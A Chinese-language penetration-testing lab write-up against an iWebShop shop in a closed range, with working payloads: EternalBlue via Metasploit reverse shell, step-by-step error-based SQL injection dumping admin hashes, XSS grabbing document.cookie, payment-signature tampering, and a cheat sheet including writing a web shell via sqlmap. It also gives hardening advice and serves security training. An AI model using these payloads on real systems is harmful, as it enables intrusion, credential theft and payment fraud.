基于封闭靶场环境(iWebShop 电商系统),模拟黑盒渗透测试全流程。本笔记严格遵守《中华人民共和国网络安全法》,所有操作均在授权范围内进行,仅供技术学习与防御研究。
靶场环境说明:虚拟机镜像文件包括 cms-disk1.vmdk、cms.ovf、cms.mf,使用 VMware 导入后配置 hosts 文件映射域名 www.example1.com 至靶机 IP(如 192.168.198.139)。
一、信息收集
渗透测试始于资产探测。通过 ping 获取目标 IP,依据 TTL 值初判操作系统(Windows 通常 128,Linux 64)。本靶场 TTL=64,初步判断为 Linux。
ping www.example1.com
正在 Ping www.example1.com [192.168.198.139] ... TTL=64
使用 nmap 进行端口与服务扫描:
nmap -O -sV 192.168.198.139
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
80/tcp open http Apache httpd
888/tcp open http Apache httpd
MAC Address: 00:0C:29:C1:F3:73 (VMware)
Aggressive OS guesses: Linux 5.0 - 5.14
发现 80 端口为 Web 服务,888 端口常见为 phpMyAdmin。后续可尝试访问 888 端口寻找数据库管理入口。
目录扫描采用 dirmap 工具,对比响应长度识别真实后台。部分扫描器如 7kbscan 因防扫描规则(返回虚假主页)失效,而 dirmap 能区分长度差异。
python3 dirmap.py -i http://www.example1.com/ -lcf
# 发现有效路径:/admin/account.php
通过浏览器访问 http://www.example1.com/admin/account.php 得到后台登录框。同时利用浏览器插件 Wappalyzer 识别技术栈:PHP、Apache、iWebShop CMS。
二、系统漏洞探测
除 Web 漏洞外,操作系统本身也可能存在高危漏洞。使用 Goby 和 Nessus 扫描同网段其他主机(如 Windows 7 / Server 2008),发现 MS17-010 永恒之蓝漏洞。
Metasploit 利用过程:
msfconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.253.148
set payload windows/x64/meterpreter/reverse_tcp
run
# 获取 session 后执行 shell 进入系统命令行
另外使用 searchsploit 查找并利用公开 EXP:
searchsploit ms17-010
searchsploit -m 42031.py
python 42031.py 192.168.80.129 42030.asm # 导致目标蓝屏验证漏洞
三、Web 漏洞人工利用
3.1 SQL 注入
在搜索功能参数 word 处发现注入点。构造 payload 触发 SQL 报错,利用 extractvalue 函数获取数据库信息。
原始报错信息表明语句为 SELECT id FROM iwebshop_search WHERE keyword = '...' limit 1,输入未过滤。
报错注入获取数据库名:
http://www.example1.com/ucenter/index.php?action=search_list&controller=site&word=1%27%20and%20extractvalue(1,concat(0x7e,database()))%20--%20
返回:XPATH syntax error: '~www_example1_com'
逐个获取表名(使用 limit 避免长度截断):
-- 获取第1个表
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --
结果:iwebshop_account_log
-- 获取第2个表 (limit 1,1) → iwebshop_ad_manage
-- 获取第3个表 (limit 2,1) → iwebshop_ad_position
-- 获取第4个表 (limit 3,1) → iwebshop_address
-- 获取第5个表 (limit 4,1) → iwebshop_admin
-- 获取第6个表 (limit 5,1) → iwebshop_admin_role
-- ......共枚举出十多个表,包括 iwebshop_user、iwebshop_order 等。
获取 iwebshop_admin 表的列名:
1' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_name='iwebshop_admin' and table_schema=database()),1,32))) --
返回:id,admin_name,password,role_id,
提取管理员账号密码(分段):
-- 前半段
1' and extractvalue(1,concat(0x7e,substring((select concat(admin_name,0x3a,password) from iwebshop_admin limit 0,1),1,32))) --
返回:admin:0192023a7bbd73250516f069d
-- 继续后续字符 (起始33)
1' and extractvalue(1,concat(0x7e,substring((select concat(admin_name,0x3a,password) from iwebshop_admin limit 0,1),33,32))) --
返回:18b500
-- 完整MD5:0192023a7bbd73250516f069d18b500 解密为 admin123
联合查询尝试失败:order by 列号报错 Unknown column,因为原查询中列名不能以数字索引,改用报错注入或 sqlmap。
使用 sqlmap 自动化:
sqlmap -u "http://www.example1.com/index.php?controller=site&action=search_list&word=0" -p word --current-db
sqlmap -u "..." -D www_example1_com -T iwebshop_admin --columns --dump
3.2 XSS 跨站脚本
参数 word 处可直接注入脚本标签,形成反射型 XSS;另外在购物车页面的 wvstest 参数存在 DOM 型 XSS,需要用户点击提交订单才能触发。
反射型XSS payload:
http://www.example1.com/index.php?action=search_list&controller=site&word=<script>alert(9709)</script>
DOM型XSS(需登录后点击提交订单):
http://www.example1.com/simple/cart2?wvstest=javascript:alert(document.cookie)
3.3 支付逻辑漏洞与签名篡改
在订单支付时拦截请求,发现参数 total_fee(价格)和 sign(MD5 签名)。尝试修改价格为0并重新计算 sign 值,但签名校验失败。分析签名生成规则(通常为拼接关键参数+密钥),可构造新的正确 sign 实现价格篡改。靶场环境中通过拼接 order_no、attach 等字段并计算 MD5 成功绕过。
原始POST数据: attach=xxx&total_fee=1719&order_no=xxx&sign=0fa65df60fd9cc...
修改total_fee=0,重新计算MD5(attach+total_fee+order_no+固定密钥)得到新sign,替换后成功修改价格。
3.4 后台弱口令与验证码复用
后台登录验证顺序为:验证码校验 → 用户名存在性 → 密码匹配。发现验证码可重复使用,利用 BurpSuite 爆破用户名与密码,最终获得 admin/admin123 以及其他账户(如 systemseller/111111)。
四、工具联动与高效测试
在人工测试时,使用 Xray 被动扫描与 Burp Suite 联动,可自动检测漏洞,提高效率。
4.1 Xray 被动代理配置
启动 Xray 监听本地 7777 端口,浏览器配置代理指向 127.0.0.1:7777,浏览目标站点时 Xray 自动发送探测 payload 并报告漏洞。
xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output report.html
4.2 Burp Suite 与 Xray 联动
浏览器代理 → Burp (8080) → Burp 的上游代理设置为 Xray (7777),实现 Burp 拦截流量同时 Xray 自动扫描。
Burp -> Project options -> Upstream Proxy Servers: 添加规则 * 目标 127.0.0.1:7777
4.3 AWVS 扫描与登录序列录制
配置 AWVS 目标,若需要扫描登录后功能,可录制登录序列脚本,让 AWVS 模拟登录过程进行深度爬取。
五、源代码审计片段分析
根据报错路径 IWEB_PATH/lib/db/db_class.php 及 IWEB_PATH/controllers/site.php,分析 SQL 注入成因:直接将用户输入拼接至 SQL 语句,未使用参数化查询。
关键代码片段示意:
// db_class.php (模拟)
public function query($sql) {
return $this->connection->query($sql);
}
// model_class.php (模拟)
public function getObj($condition, $fields) {
$sql = "SELECT id FROM iwebshop_search WHERE keyword = '{$condition}' limit 1";
return $this->db->query($sql);
}
// site.php (控制器)
$word = $_GET['word'];
$model->getObj("keyword = '{$word}'", 'id');
防御措施:必须使用预处理语句(PDO prepare/bindparam)或对输入进行严格转义。同时应关闭错误回显,避免泄漏路径信息。
六、综合防御与安全开发角度思考
针对本次实战暴露的漏洞,提出以下加固方案:
6.1 输入过滤与参数化查询
所有 SQL 查询使用 PDO 预处理,禁止拼接字符串。对搜索、登录等参数进行白名单校验。
6.2 输出编码
在输出动态内容到 HTML 时,使用 htmlspecialchars($input, ENT_QUOTES, 'UTF-8') 防止 XSS。对 URL 参数、表单 action 等位置进行额外过滤。
6.3 签名与防篡改
支付、订单等关键业务必须使用强签名算法(如 HMAC-SHA256)并包含随机 nonce 和时间戳,防止重放与参数篡改。
6.4 最小权限原则
Web 应用数据库账户仅授予必要权限(SELECT/INSERT/UPDATE),禁止 FILE 权限。禁用危险 PHP 函数(system, exec, passthru 等),并设置 open_basedir 限制文件访问范围。
6.5 安全配置
关闭详细错误提示,生产环境 display_errors=Off。上传目录禁止解析 PHP。定期更新 CMS、框架及操作系统补丁。
6.6 验证码机制
验证码必须后端校验且一次有效,防止复用。增加图形干扰和失效时间。
七、命令速查表
按目的分类记录常用命令,便于快速查阅。
| 目的分类 | 命令 / 工具 | 说明 |
|---|---|---|
| 信息收集 | ping www.example1.com |
获取IP及TTL初判OS |
| 端口扫描 | nmap -O -sV 192.168.x.x |
操作系统识别 + 服务版本 |
| 目录扫描 | python3 dirmap.py -i http://target/ -lcf |
对比响应长度发现真实后台 |
| CMS识别 | Wappalyzer插件 / curl -I |
检测响应头Server、X-Powered-By等 |
| 系统漏洞扫描 | goby / nessus |
发现MS17-010等 |
| MSF利用 | use exploit/windows/smb/ms17_010_eternalblue |
设置rhosts及payload获得shell |
| SQL注入检测 | sqlmap -u "url?param=1" -p param --current-db |
自动检测并获取数据库 |
| 报错注入手工 | 1' and extractvalue(1,concat(0x7e,database())) -- |
获取数据库名 |
| XSS测试 | <script>alert(1)</script> |
反射型XSS验证 |
| Burp+Xray联动 | 上游代理 127.0.0.1:7777 | 人工浏览时自动被动扫描 |
| 绕过disable_functions | 蚁剑插件 - 绕过disable_functions | 选择LD_PRELOAD或PHP7_GC_UAF模式 |
| 文件上传(sqlmap) | sqlmap --file-write local.php --file-dest /path/shell.php |
需具备写权限 |
本次学习完整覆盖了从信息收集、系统漏洞利用、Web常见漏洞挖掘到逻辑缺陷与工具联动的全过程。所有操作均在授权的封闭靶场中进行,仅为提升网络安全防御能力,方便学习巩固和复盘使用。在实际工作中,必须获得书面授权后方可开展渗透测试,切勿触碰法律红线。